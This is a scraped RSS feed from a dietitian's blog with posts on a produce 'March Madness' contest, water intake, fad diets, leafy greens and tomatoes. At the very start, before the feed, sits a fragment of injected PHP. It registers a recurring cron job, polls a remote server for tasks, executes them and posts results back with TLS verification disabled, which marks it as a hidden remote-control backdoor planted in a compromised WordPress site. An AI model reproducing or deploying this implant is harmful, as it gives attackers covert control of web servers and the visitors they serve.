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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Registered Dietitian – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Fri, 22 Mar 2013 06:33:07 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Registered Dietitian – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Produce Playoffs: Pear vs. Asparagus https://skinnygeneprojectnew.dreamsites.io/produce-playoffs-pear-vs-asparagus/ https://skinnygeneprojectnew.dreamsites.io/produce-playoffs-pear-vs-asparagus/#respond Fri, 22 Mar 2013 06:33:07 +0000 http://skinnygeneproject.dreamhosters.com/?p=1884 logo produce playoffs ad 2

March Madness brings out the best of the best teams to compete in head-to-head matchups on the basketball court!  In honor of the march mayhem, Skinny Gene presents the Produce Playoffs!  Just like the big dance, anything can happen on any given day as these super foods go head-to-head!  Whatever the outcome, all of these foods are winners!

SEE RULES AND GIVEAWAYS!

 

DAY 1 MATCHUP: Pears versus Asparagus

(voting from March 21st – March 22 @ Midnight PST)

 

This is sure to be a great matchup to kickoff the Produce Playoffs!  The Aspargus team brings a lot to the table besides their obvious height advantage.  Here are the scouting reports for the two teams:

Pears

Season: Peak from summer to early January, they may have peaked too soon for to make a run in this tourney!pears

Star players:  Fiber and vitamin C

On the bench: Antioxidants

Offense:  The pears offense is based on their speed.  The quick chopping and dicing allow the pears to be added to so many things!  Our favorite plays are adding diced pears to cereals and oatmeal, and adding slices to fresh spinach salads.

Defense:  The defense attack is led by the Pear’s bench play of the antioxidants.  The threesome of beta-carotene, lutein, and zea-xanthin are super protective against any free radicals reducing risk of colon and other cancers.  The star player, fiber, also provides a defensive edge lowering cholesterol and keeping the bowels moving nicely.

 

VERSUS

 

Asparagus asparagus

Season: Lucky for the Asparagus team, they are peaking at just the right time for this match up, February through June!

Star players: Fiber, antioxidants, folic acid and B-vitamins

On the bench: Vitamin foursome – A, C, E, K

Offense: Aspargus is extremely versatile.  On the fast break they can be sautéed with olive oil, garlic, and pepper…a sure slam dunk!

Defense: A great matchup for the pears with fiber, keeping blood sugars stable, lowering cholesterol, and keeping the bowels moving.  Additional defense from the antioxidants and vitamins reducing risk of cancer and reduces inflammation!

THE WINNER

This was an awesome matchup. Both teams played hard, but there could only be 1 winner. And  it was…. CLICK TO SEE THE ANSWER! 🙂

]]> https://skinnygeneprojectnew.dreamsites.io/produce-playoffs-pear-vs-asparagus/feed/ 0 March Madness Produce Playoffs https://skinnygeneprojectnew.dreamsites.io/march-madness-produce-playoffs/ https://skinnygeneprojectnew.dreamsites.io/march-madness-produce-playoffs/#respond Fri, 22 Mar 2013 06:17:29 +0000 http://skinnygeneproject.dreamhosters.com/?p=1876 March Madness brings out the best of the best teams to compete in head-to-head matchups on the basketball court!  In honor of the march mayhem, Skinny Gene presents the Produce Playoffs!  Just like the big dance, anything can happen on any given day as these super foods go head-to-head!  Whatever the outcome, all of these foods are winners!

 logo produce playoffs ad 2

HOW TO PLAY

Each week some of our favorite performing produce will go head-to-head. We will give you the scouting reports  for each produce team, including their offensive/defensive lineups. Using the information provided, simply guess which produce in each head-to-head matchup will prevail.  Just know that some produce are prone to pull an upset!   

To make your selection, simply cast your vote using the poll at the bottom of each matchup. Then, tell us who you voted for in the blog comments below.   For each matchup, you can only cast 1 vote, and once the winner is announced the voting for that matchup will be closed. Don’t worry if you miss one, there will be up to 4  matchups each week during March Madness and plenty of chances to earn points and prizes.

POINTS AND PRIZES

– For each head-to-head you guess correctly, you will get one (1) point.

– For each head-to- head, leave us a comment below telling us why you think your chosen produce will take the    prize, and you’ll earn two (2) additional points. {Keep it clean folks, or it won’t count.}

-If your comment is sooo good that we feature it on our Skinny Gene Facebook page, we will give you three (3) more points.

 But, the easiest way to win a prize is to GET SOCIAL!!  Here’s the deal… if your friend wins a prize, so will you.

At the end of the March Madness Produce Playoffs tournament, we will count up all the points. Each point counts as 1 entry in our prize drawing(s).

The more participants we have in our Produce Playoffs, the more prizes we will  give away!  So recruit your friends to play against you in the 2013 Skinny Gene Produce Playoffs.

So far,  UP FOR GRABS are….two (2) $25 Visa Gift Cards – 1 for the winner of the random drawing, 1 for the person who recruited them to the tournament.

Each entry counts as one chance to win.  US Only!  Winner will be announced April 9th. Winner will be chosen AT RANDOM by random.org.

READY TO PLAY!!!

(Click on the links below to pick your produce in the head-to-head matchups or to see the results)

DAY 1 : PEARS vs, ASPARAGUS  – voting is closed. Winner…ASPARAGUS!! See how they pulled it off!

 

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/march-madness-produce-playoffs/feed/ 0 Stop the Insanity, Start Getting Results https://skinnygeneprojectnew.dreamsites.io/stop-insanity-start-getting-results/ https://skinnygeneprojectnew.dreamsites.io/stop-insanity-start-getting-results/#respond Thu, 24 Jan 2013 04:32:32 +0000 http://skinnygeneproject.dreamhosters.com/?p=1827 By: Emily Barr, MS,RD,CNSC

Your One Month Check-Up

 

We are approaching the 1 month marker into our new year, 2013.  The year we made ourselves promise that starting

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January 1st (or 2nd!) we would flip the switch to better health.  So here is the question, how are those resolutions 

going? Most of us are probably thinking the same thing “what resolutions?”  Followed by “oh yeah, the resolution(s) that flew out the window weeks ago.”

There’s something about it, every year when the clock strikes midnight (or 9 o’clock if you’re on the West Coast with little ones), we find ourselves with a bit of “New Year’s Insanity”.  You know, like the definition says “doing the same thing over and over and expecting different results.”

Some people’s “insanity” kicks in at the beginning of the new year, other’s may surface around bathing suit season,

weddings, or classmate reunions.  In any case, when it comes to our health, we are all guilty of setting ourselves up for failure, making drastic changes at the “stroke of midnight” that are just not realistic.

So what can we do to stop the insanity and start getting results in 2013?

 

Stop the Insanity, Start Getting Results

 

 

Follow these 4 important steps to a successful year:

1.   We need to know where we are in terms of our diet, exercise, and mental health.  All three are important components to weight management success. If one is out of balance, we need to recognize it and make the right changes to improve or restore the balance.

 

Such as, someone who is really good at exercising, but has not been drinking enough water.  The lack of proper hydration may be slowing down their metabolism, leaving all of their sweat and frustration in the gym, and their weight unchanged.

2.  We need to know what changes we can make to maximize our metabolism.  If we are inadequate or in excess of any key nutrients, our metabolism may be slowing down while our weight may be trending up.

 

For example, each of us has unique fat needs based on weight and medical history.  If we take in too much or too little fat, this may result in weight gain.

 

3.  We need to find a plan we can stick with over time.  This plan needs to include multiple small but powerful changes that can improve our body’s metabolism.

 

4.  We need to keep ourselves accountable.  We can do anything for a week or two, but sticking with something over a long period of time (A.K.A. lifestyle change) takes a lot of accountability. Friends who work out together or take on a healthy eating initiative are more successful than a person taking on a new healthy eating or exercise program alone.

 

Dr. Phil once said, “The best predictor of future behavior is past behavior, so you have got to create a new history.” Well, there is no time like the present to get the help you need to break free of insanity and actually succeed.

 

 If you are having difficulty with any of these 4 steps, contact us (free). We are here to help you restore balance, maximize your metabolism, create a plan, and provide accountability.  >>>Click for help

 

All you have to do is take the first step today, with us or any other program, so “tomorrow” is not just more of the same.

 

]]> https://skinnygeneprojectnew.dreamsites.io/stop-insanity-start-getting-results/feed/ 0 Burning Calories with “No Time To Workout” https://skinnygeneprojectnew.dreamsites.io/burning-calories-even-dont-time/ https://skinnygeneprojectnew.dreamsites.io/burning-calories-even-dont-time/#respond Sat, 28 Jul 2012 01:08:32 +0000 http://skinnygeneproject.dreamhosters.com/?p=1604 By Emily Barr, MS,RD,CNSC –

The number one excuse for skipping a workout is (and I quote) “I don’t have enough time!”  Usually this line is followed by more excuses including your children’s schedules, your work schedules, house hold chores, or lack of sleep.  Time is valuable, in order to utilize every opportunity you have for a little calorie burn, you need to be creative!

Use your kids and their energy level to your advantage!

  1. Include an afterschool activity that involves a walk, run, bike ride, race, or a mean game of tag.
  2. If you have a small child or baby, take a walk with them in your arms.  The extra weight adds to the amount of calories you burn!
  3. Play follow the leader.  When it’s your turn, try including funny plyometrics (i.e. high knees, power skipping, squat jumps), your kids will love your ideas!
  4. Take your kids swimming.  There are a lot of calories to burn at the pool just by using the water’s resistance, including some simple moves, such as treading water, leg kicks, running and jumping.

Work out at work!

  1. Take a stair break!  Find a route to the bathroom that includes a few flights of stairs.
  2. Flex your muscles and your mind.  Try sitting up straight in your chair flexing your abs, then lift your feet off the floor in repetitions.  With your knees glued together, try swinging your feet to each side (you should feel this move around your upper thighs and waist!)
  3. When possible stand up!  You burn more calories standing than sitting!
  4. Lunch work out!  While your lunch is cooking in the microwave, use this time to do squats and lunges.  These moves work your large muscle groups; therefore, they burn more calories.

Calorie burning household moves!

  1. Grocery groove.  Unload groceries to music! While you are putting things away, try lifting different foods (i.e. canned items, watermelons, and cantaloupe) in repetition.  Some easy lifts to begin with include bicep curls, side raises, side twists, above the head raises.
  2. Power vacuum by incorporating lunges into each area  of your house you vacuum.
  3. 2 minutes of laundry fun.  For each load of your never ending laundry, try incorporating 2 minutes of strength moves, wall sits, lunges, stairs, squats, and explosive jumps.
  4. Bathroom breaks.  When cleaning the bathroom, scrub the tub clean with different arm moves and reps of pushups.

Burning calories at bedtime!

  1. Bed abs, try doing v-sits, ab crunches, and bicycle reps of 20 each, every night.
  2. Tooth brushing wall sits, just what it sounds like!  FYI, dentists recommend brushing for 2 minutes every morning and night!
  3. Prayer time plank.  When taking the time to meditate over your day, don’t be afraid to drop down onto your elbow/forearms with a flat, flexed body, up on your toes into a plank, even 30 seconds will allow you to fell the burn.
  4. Bedside dips, sitting on the edge of your bed, put your arms down next to you with your arms at a 90 degree angle, slowly lift your bottom off the side of the bed, using your triceps dip down and back up in repetition.

These are just a few occasions to sneak in some calorie burning moves!  You can always bust out some dance moves or flexing in the car, in the shower, or during commercial breaks.  Challenge yourself to go out of your way to burn more calories, you will soon find that you do have the time!

]]> https://skinnygeneprojectnew.dreamsites.io/burning-calories-even-dont-time/feed/ 0 How Much Water Should I Drink https://skinnygeneprojectnew.dreamsites.io/how-much-water-should-you-drink/ https://skinnygeneprojectnew.dreamsites.io/how-much-water-should-you-drink/#respond Thu, 21 Jun 2012 19:06:38 +0000 http://skinnygeneproject.dreamhosters.com/?p=1565 By  Emily Barr, MS,RD,CNSC 

Water balloons, water parks, and water colors are all components of summertime fun, but what about drinking water?  Most people do not find drinking water to be all that fun, and they often time fall short of their fluid goal leaving them in a state of dehydration. Unfortunately, water is essential to keeping us alive, especially since we would only survive approximately a week without it!

Other than the obvious function of hydration, water also plays an important role of removing toxins from our body, and it helps to optimize our metabolism.  Research from Virginia Tech by Dr. Brenda Davy found that “being only 1% dehydrated significantly decreased your metabolic rate”, which would make it more difficult to maintain a healthy weight.

How Much Water Should I Drink

Photo By Darwin Bell

The common recommendation we hear is 8 – 8 oz glasses of water a day, but in actuality, one size does not fit all.

Water needs are more individualized and are dependent upon your weight, activity level, state of health, and climate.  The American Dietetic Association recommends drinking 9 cups water per day for women and 13 cups water per day for men.   Another rule of thumb is to take your weight in pounds, divide in half to calculate your goal water intake in fluid ounces.  For example, if you weigh 150 pounds, you would require ~75 fluid ounces water per day.

Once you figure out how much water you need a day, then consider that we drink 80% of our water intake, while the remaining 20% of our water intake comes from food.  Foods that contain a great amount of water slow down the digestion process, therefore, leaving us feeling fuller longer!  Water filled foods are most often extremely healthy foods like fruits and vegetables which provide us with a multitude of additional health benefits.

Although we can’t meet 100% of our fluid needs from foods alone, we can make the most of the foods we chose.  Here is a list of your best water loaded foods:

FOODS MADE UP OF 90% OR MORE OF WATER

  • cucumbers (96%)
  • lettuce (96%)
  • celery (95%)
  • zucchini (95%)
  • tomato (94%)
  • cabbage (93%)
  • watermelon (92%)
  • spinach (92%)
  • cauliflower (92%)
  • strawberries (92%)
  • peppers (92%)
  • eggplant (92%)
  • broccoli (91%)
  • grapefruit (91%)
  • cantaloupe (90%)

FOODS MADE UP OF 75% OR MORE OF WATER

  • peach (88%)
  • pineapple (87%)
  • oranges (87%)
  • carrots (87%)
  • raspberries (87%)
  • plums (85%)
  • blueberries (85%)
  • apples (84%)
  • pear (84%)
  • grapes (81%)

Source:  University of Kentucky, Bowes & Church’s Food Values 1994.  http://www.ca.uky.edu/enri/pubs/enri129.pdf

]]> https://skinnygeneprojectnew.dreamsites.io/how-much-water-should-you-drink/feed/ 0 How Fad Diets Get it Right https://skinnygeneprojectnew.dreamsites.io/how-fad-diets-get-it-right/ https://skinnygeneprojectnew.dreamsites.io/how-fad-diets-get-it-right/#respond Wed, 18 Apr 2012 05:25:59 +0000 http://skinnygeneproject.dreamhosters.com/?p=1512

 By Emily Barr, MS,RD,CNSC –

Life is too short to waste time and money on fad dieting!

The truth hurts.  The honest truth is, as a whole, we (Americans) have weight to lose, and losing weight is time intensive, hard work.  That’s where the fad diets come sweeping to our rescue, like a knight in shining armor, giving us hope to drop 7-11 pounds in one  week!

They proceed to sweet talk us with some trendy words to convince us that we need to detox our body, or melt our belly fat, to help us drop those stubborn pounds.  Then they give us hope, telling us why this is the solution that is going to be the one diet that works for us.

It sounds like a sneaky business ploy, but let’s face it…we seem to fall for it every time!

Fad diets get a bunch of things majorly wrong!

They promising rapid weight loss over the course of a few days or weeks.  It is a well known fact that rapid weight loss of this kind is not true weight loss, but actually more of the dehydrating kind.  We also know that rapid weight loss is not sustainable; the weight is often regained as quickly as it is lost.

Another blunder of fad diets is the elimination of entire food groups.  Again, it is also well known that different types of foods provide us with a variety of key nutrients that our body needs to keep our metabolism functioning properly.   A third common problem with fad diets is that they are often so strict that we are unable to follow them for more than a few days or weeks.

Fad diets are often so strict that we are unable to follow them for more than a few days or weeks.

The consensus among the experts on how to achieve successful weight loss is to make lifestyle modifications that you can follow for the long term.

Surprisingly, fad diets occasionally get a few things right!

We can use a few of the fad diet strategies to set our lifestyle modification into action.

 

1.) COMMITMENT

Fad diets require extreme, dramatic changes to your usual food routine.  By signing up to do each of these regimens, you are affirming your commitment to change.  The idea of rapid weight loss is motivating and may push you to do things you had never done before, like go an entire day eating only chicken and vegetables.  At the end of the day, you realize that when you put your mind to something, you can accomplish things you never thought possible.

Action Plan:  Assert your commitment to success by writing down your specific goals and motivation for weight loss.  For example, you may be motivated to lose weight in order to keep up with your busy toddler.  Now that you have your motivation, try setting an easily obtainable, specific goal that you can expand upon.  Maybe you start off with the goal to avoid snacking on your child’s leftovers when cleaning their plate. Then once you’ve accomplished that goal, you expand it to stop mindless snacking throughout the day when bored, working, or doing household chores.

2.) PREPARATION

  Fad diets usually give you a list of “allowable” foods, and then you proceed to the grocery store to stock up on these items.  Why can’t we do the same thing when not following a fad diet?

Action Plan:  Set some goals for the week, and then outline how you are going to achieve them.  For example if your goal is to boost your metabolism by eating breakfast every morning,  you should first plan out what your healthiest breakfast options are, then place them on your shopping  list. Finally, try scheduling breakfast time into the day, so you have time to eat it.

3.)  FOCUSING ON FOOD CHOICES

By starting a strict fad diet regimen, the  not so healthy stuff you are eating goes straight out the window and is quickly replaced by x, y, z, which is specifically designed by the fad diet to reduce your calorie intake (usually so many servings of fruits and vegetables,  go figure).

Eliminating our favorite cravings, cold turkey, can often times backfire on us, ending in a splurge, and then guilt.  Another approach would be to focus on your fruits and vegetables, and by default, you replace your not so healthy stuff with nutritious stuff! Doing this gives you opportunity (calorie wise) to indulge in the occasional splurge.  Plan your splurges carefully (i.e. once a week or once a month), that way you don’t completely abandon your healthy lifestyle.

Action Plan:  Make a list of all of your favorite fruits and vegetables, and then stock up!  But don’t stock up on foods that tempt you.  Focus on filling your home with healthy foods. In other words, make your home your “safety zone”.  Save those willpower smashing foods for special outings where the serving size is controlled and there aren’t any leftovers (e.g. going out for a scoop of ice cream vs. buying ice cream for the house)!

4.) SET MEALS AND SNACKS

  Fad diets would prefer you to eat smaller portions frequently throughout the day.  Well, they may not get the food choices correct, but the grazing type meals and snacks are right on the money.

Action Plan:  Make a daily meal plan including 3 meals and 1-2 snacks to ensure you eat every 3 hours during the daytime hours.  If you don’t plan ahead, you may find that you have gone hours without eating, which slows down your metabolism!

5.) WATER

Fad diets usually will emphasize water, requiring you to drink a certain amount of water every day.  Again, genius!  Most of us do not drink nearly enough water; therefore increasing our water intake will allow us to enjoy a sense of fullness, thereby reducing our calorie intake.

Action Plan:  Set your daily water goal and stick to it!  One suggestion is to divide your water up into 3 portions – drink 1/3 before noon, 1/3 before 4 PM, and the remainder before 8 PM.  Whether you prefer to count ounces or actual glasses of water, just make sure you drink enough water each day to stay hydrated. Drink. Refill. Repeat.

Considering trying a fad diet to achieve weight loss? We urge you to reconsider it! Fad diets may begin with initial weight loss, but they generally end with added weight gain and frustration. Whether you are interested in weight loss to improve your health or self esteem, please know that learning how to live a healthy lifestyle is the best way.

Need a little guidance? We are here to help!  We offer FREE nutrition advice and guidance. Please click here to learn more!

]]> https://skinnygeneprojectnew.dreamsites.io/how-fad-diets-get-it-right/feed/ 0 GETTING YOUR KIDS TO EAT THEIR VEGGIES https://skinnygeneprojectnew.dreamsites.io/getting-your-kids-to-eat-their-veggies/ https://skinnygeneprojectnew.dreamsites.io/getting-your-kids-to-eat-their-veggies/#respond Tue, 20 Mar 2012 09:06:38 +0000 http://skinnygeneproject.dreamhosters.com/?p=1465 Pin It

By Emily Barr, MS,RD,CNSC 

A recent post in Medical News Today highlighted the practice of hiding veget

By Justin Henry

ables in our children’s foods to help them reach their goal of 5+ servings of vegetables per day.  Their conclusion was “that it is more important for parents to openly feed their children a variety of vegetables instead of constantly trying to hide them.”  But the real question is – Why not do both?  

 

Teach your children healthy eating by exposing and encouraging them to eat a variety of vegetables with every meal time.

 

  • Pair vegetables with foods they like such as broccoli and cheese, celery and peanut butter, or cucumber, carrots, and peppers with ranch.
  • Be sure to add veggies in where you can, such as adding lettuce, spinach, tomato, or avocado slices to a sandwich.
  • Add fresh tomatoes to spaghetti sauces.
  • In addition to serving veggies, make veggie based entrees to maximize their nutrition, such as spinach enchiladas, vegetable (broccoli, carrots, cabbage, spinach, bean) soups, veggie kabobs (alternate onions, mushrooms, peppers, potatoes, and squash), mushroom burgers, veggie pizza (top with tomatoes, onions, peppers, olives, spinach), or  veggie pastas (add spinach, broccoli, mushrooms, or zucchini).

Not only is our job as parents to make the veggies taste good, but we also have to set a good example with our eating habits.

 

Be sure to include something green with every meal!

 

Petra Rattue. “Vegetables And Children – Openly Showing Them Is Better Than Hiding.” Medical News Today. MediLexicon, Intl., 2 Mar. 2012. Web.  

11 Mar. 2012. <http://www.medicalnewstoday.com/articles/242436.php>

 

]]> https://skinnygeneprojectnew.dreamsites.io/getting-your-kids-to-eat-their-veggies/feed/ 0 Good Greens That Benefit Every Body https://skinnygeneprojectnew.dreamsites.io/how-good-greens-benefit-every-body/ https://skinnygeneprojectnew.dreamsites.io/how-good-greens-benefit-every-body/#respond Fri, 16 Mar 2012 19:05:39 +0000 http://skinnygeneproject.dreamhosters.com/?p=1463 Pin It

By Emily Barr, MS,RD,CNSC 

 

Green represents a lot of terrific things, like “being green” is good for the environment and “making the green” is good for your wallet.  And if you like Saint Patty’s day, you will be sporting some green attire for good luck. 

What about eating your greens?  You never felt that lucky, as a kid, missing play time while staring at a plate of Brussels sprouts that you absolutely refused to eat.  Now looking back on those stubborn nights, you may just realize how lucky you were to be offered those wondrous greens. 

 

Eating foods of the green variety benefit you in many ways;  the potential for cancer prevention, protection against heart disease and type 2 diabetes, weight management, soluble and insoluble fiber, and not to mention the vitamins, minerals including calcium, antioxidants, phytochemicals, carotenoids, and flavonoids (A.K.A. really good things for your body and metabolism).Now are you interested in stepping up the greens?  

 

BENEFITS OF GOING GREEN 

 

 

LOW IN CALORIES:  Weight management and disease prevention go hand in hand.  By keeping your body at a healthy weight, you reduce your risk of heart disease, diabetes, and certain cancers.  The lower calorie greens typically range between 10-30 calories per ½ cup serving, which can play a very important role in weight management by replacing other high calorie foods.

 

Low calorie greens to try:   Spinach (1 cup raw = 7 calories), Swiss chard (1 cup = 7 calories), bok choy (1 cup = 10 calories), and cucumber (1/2 medium = 8 calories)

 

GREAT SOURCE OF FIBER: Greens contain both types of fiber, soluble and insoluble fibers that benefit the heart by reducing cholesterol and the waist line by filling you up on fewer calories.   Both types of fiber are helpful to regulate your blood sugar control.

 

Fiberful greens to try:  Cabbage (1 cup chopped = 5.16 grams carbohydrate of which 2.2 grams is fiber); Brussel sprouts (4 sprouts = 5.5 grams carbohydrate of which 2 grams is fiber), artichoke (1/2 medium = 6.7 grams carbohydrate of which 3.5 grams is fiber), and spinach (1 cup raw = 1 grams of carbohydrate of which 0.7 grams is fiber).

 

ANTIOXIDANT RICH: Many green vegetables are an excellent source of Vitamin C, which is an antioxidant.  What this means is that they limit cell damage and help repair cells that have been damaged by free radicals.  When free radicals are in action, they change the cell, which may lead to health risks including illness by decreasing your immune system, heart disease, cancer, and arthritis.

 

For green vegetables with an excellent sources Vitamin C to try:  Kale (1 cup raw = 80.4 mg), broccoli (1/2 cup cooked = 51 mg), Brussel sprouts (4 sprouts = 48.4 mg), and bok choy (1 cup = 30 mg)

 

FULL OF FOLATE: Folate is a vitamin found in high amounts in green vegetables, which plays a vital role in cell metabolism, especially for pregnant moms, growing babies and kids.  Folate is also involved in the metabolism of homocysteine.  High levels of homocysteine are connected to heart disease.

 

Folate rich greens to try:  Spinach (1 cup raw = 58 mcg DFE), brussel sprouts (4 sprouts = 47 mcg DFE), broccoli (1/2 cup cooked = 84 mcg DFE), and asparagus (4 spears = 89 mcg DFE).

 

LOW FAT:  The majority of green vegetables are naturally low in fat and saturated fat, which is great for your heart!

 

The following super green veggies have less than 0.5 grams fat per serving:  Kale, asparagus, broccoli, cucumber, brussel sprouts, bok choy, spinach, artichoke, swiss chard, and cabbage.

]]> https://skinnygeneprojectnew.dreamsites.io/how-good-greens-benefit-every-body/feed/ 0 It’s National Nutrition Month And Registered Dietitian Day! https://skinnygeneprojectnew.dreamsites.io/its-national-nutrition-month-and-registered-dietitian-day/ https://skinnygeneprojectnew.dreamsites.io/its-national-nutrition-month-and-registered-dietitian-day/#respond Wed, 14 Mar 2012 18:10:52 +0000 http://skinnygeneproject.dreamhosters.com/?p=1453 It’s Registered Dietitian Day! What a perfect time to say THANK YOU to our very own Emily Barr, MS,RD,CNSC!

Emily is the brilliant mind behind all of our nutrition programs, including our Boost Your Metabolism program, which has helped educate over 119,741 people in the last year alone.

With so much misinformation out there, we’re lucky to have our own metabolism expert to help us focus on the right information, and turn it into an easy action plan for living a healthier lifestyle.

When Emily is not working one-on-one with families that are learning how to use nutrition to control various metabolic disorders, she is writing our monthly newsletters, posting healthy tips and recipes on our Healthy Momma’s page. During March Madness you’ll also find her in a crowd cheering on KU.

Please click here to learn more about Emily!

Have nutrition questions? We’re here to give you answers. Please use this form to submit your questions, and she’ll respond to you as soon as possible.

 

It’s National Nutrition Month And Registered Dietitian Day!

BY Manuel Villacorta

Registered Dietitian

By now, everyone knows about the obesity epidemic that has super-sized our nation. We’re fat, confused, and misinformed — and often spend hours in the gym trying to shed the pounds packed on due to a sedentary lifestyle and a lack of healthy foods.

We’ve made eating one of the lowest priorities of the day, and with so much information being pushed at us from every direction, we’re on constant overdrive as we’re told what to do, what not to do, and what not to eat. But are we trusting the wrong people when it comes to food and nutrition guidance? Is all this information actually misinformation?

Our doctors say “eat healthfully” to stay well, but what exactly does that mean? Most of them don’t have time to sit down and explain it to us. In order to make the right choices, we need to seek out the best source for practical, reliable, and affordable information about nutrition: a registered dietitian.

These food experts have proven their dedication by earning a bachelor’s degree in nutrition or a related field, by completing an intensive supervised practice averaging one year, and by passing a registration exam required by the American Dietetic Association (the world’s largest organization dedicated to food and nutrition). Many R.D.s hold graduate degrees, and some are even certified nutrition specialists in areas such as renal nutrition, diabetes education, or even sports nutrition. Numerous states also require additional licensure to practice Dietetics, adding another layer of protection for people seeking sound nutrition advice.

One of the questions I’m asked the most is, “So what’s the difference between a dietitian and a nutritionist?” The answer is that, due to inconsistency in state laws, there are no generally recognized guidelines that define the role and requirements for a nutritionist, and while traditionally this title was reserved for individuals who’d earned a master’s degree in nutrition, these days it can describe anyone who works in nutrition.

On the other hand, the dietetics profession is highly regulated and bound by a code of ethics. As I mentioned, all dietitians hold at minimum a bachelor’s degree. They must renew their registration annually, and are required to become recertified after five years of practice. In addition, as our knowledge of nutrition expands, R.D.s are expected to follow pace; they are required to maintain current knowledge of dietetics by completing continuing education credits each year.

This nutrition expertise can be applied in many different places. Though many registered dietitians work in settings such as hospitals and other inpatient care facilities, quite a few have private practices. Others work in research, in community and public health centers, as teachers of nutrition, or as consultants to the corporate world for wellness programs, consumer affairs, product development, and such.

Though helping people to shed pounds is often one of the goals of the R.D., his or her expertise is not limited to weight management. Dietitians help people do so much more. They create highly customized lifestyle programs based on goals and behavior modification that help their clients maximize their quality of life.

Whether the goal is to take control of a health issue such as diabetes or heart disease, to battle an eating disorder, to train for a marathon, to recover from a major illness like cancer, or simply to learn more about food and nutrition, registered dietitians are there to assist by using experience, science-based knowledge, and proven techniques.

So celebrate National Registered Dietitian Day by visiting your local dietitian to say thank you, ask a question, or get started on your journey to healthy living.

]]> https://skinnygeneprojectnew.dreamsites.io/its-national-nutrition-month-and-registered-dietitian-day/feed/ 0 Boost Your Metabolism Series- Tomato https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/#respond Mon, 06 Jun 2011 20:22:23 +0000 http://skinnygeneproject.dreamhosters.com/?p=1257 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 7th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The seventh one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is TOMATO!

BENEFITS OF TOMATO

Photo by Maplessinseattle

The debate may go on whether the tasty tomato is a fruit or a vegetable, but one thing is for sure, the tomato is a super food for your body’s metabolism.  Tomatoes are naturally low in calories and high in fiber, both good for satisfying your appetite and maintaining a healthy weight. 

Tomatoes are rich in antioxidants that fight the bad free radicals that are unfortunately present during nutrient metabolism or from the environment (such as pollution and UV rays).  The good news is that a good intake of antioxidant rich fruits and vegetables, including high amounts of tomatoes,  counteract these free radicals. 

The antioxidant most prevalent  in the tomato is lycopene, which is found in large quantities in the outer skin of the tomato, but also found inside too.  Research has found that intake of these antioxidants help protect your body’s cells from damage and decrease risk of heart disease and cancer, especially prostate cancer in men.

Caution: Watch the calories when adding tomato sauce to spaghetti.The calories  in a plate full of pasta can quickly add up. 

Other tomato-based foods that can be dangerous are jars of salsa, cans of diced tomatoes, tomato juice, and tomato soup – all are loaded with sodium.  Be sure to read the labels of these tomatoes for “no added salt” or “low sodium”. 

Incorporating tomatoes into your everyday routine is essential to optimize your metabolism and your health.  Here are a few ideas and recipes to try.

Add tomatoes to all of your meals!

  • Add a slice on every sandwich and in your wrap
  • Top your salad with baby tomatoes, diced tomatoes, or wedges
  • Add chopped tomatoes to eggs and omelets
  • Tomatoes are a nice addition to cottage cheese
  • Add to pizzas, pastas, stir-fry, and kebabs 

 RECIPES

Baked Parmesan Tomatoes

http://www.eatingwell.com/recipes/baked_parmesan_tomatoes.html

From EatingWell:  August/September 2006

A sprinkle of Parmesan and a drizzle of olive oil transform tomatoes into the perfect side dish. Or try sandwiching them between slices of your favorite whole-wheat country bread.

4 servings | Active Time: 5 minutes | Total Time: 20 minutes

Ingredients

  • 4 tomatoes, halved horizontally
  • 1/4 cup freshly grated Parmesan cheese
  • 1 teaspoon chopped fresh oregano
  • 1/4 teaspoon salt
  • Freshly ground pepper, to taste
  • 4 teaspoons extra-virgin olive oil

Preparation

  1. Preheat oven to 450° F.
  2. Place tomatoes cut-side up on a baking sheet. Top with Parmesan, oregano, salt and pepper. Drizzle with oil and bake until the tomatoes are tender, about 15 minutes.

Nutrition

Per serving : 91 Calories; 6 g Fat; 2 g Sat; 4 g Mono; 4 mg Cholesterol; 6 g Carbohydrates; 3 g Protein; 2 g Fiber; 375 mg Sodium; 363 mg Potassium

Caprese Salad

http://www.eatingwell.com/recipes/caprese_salad.html

From EatingWell:  July/August 2008

Summer-ripe tomatoes and fresh mozzarella need only a sprinkling of fresh herbs, salt and pepper to shine in this simple summer salad.

4 servings, about 1 1/4 cups each | Active Time: 15 minutes | Total Time: 15 minutes

Ingredients

  • 2 medium red tomatoes, cut into wedges
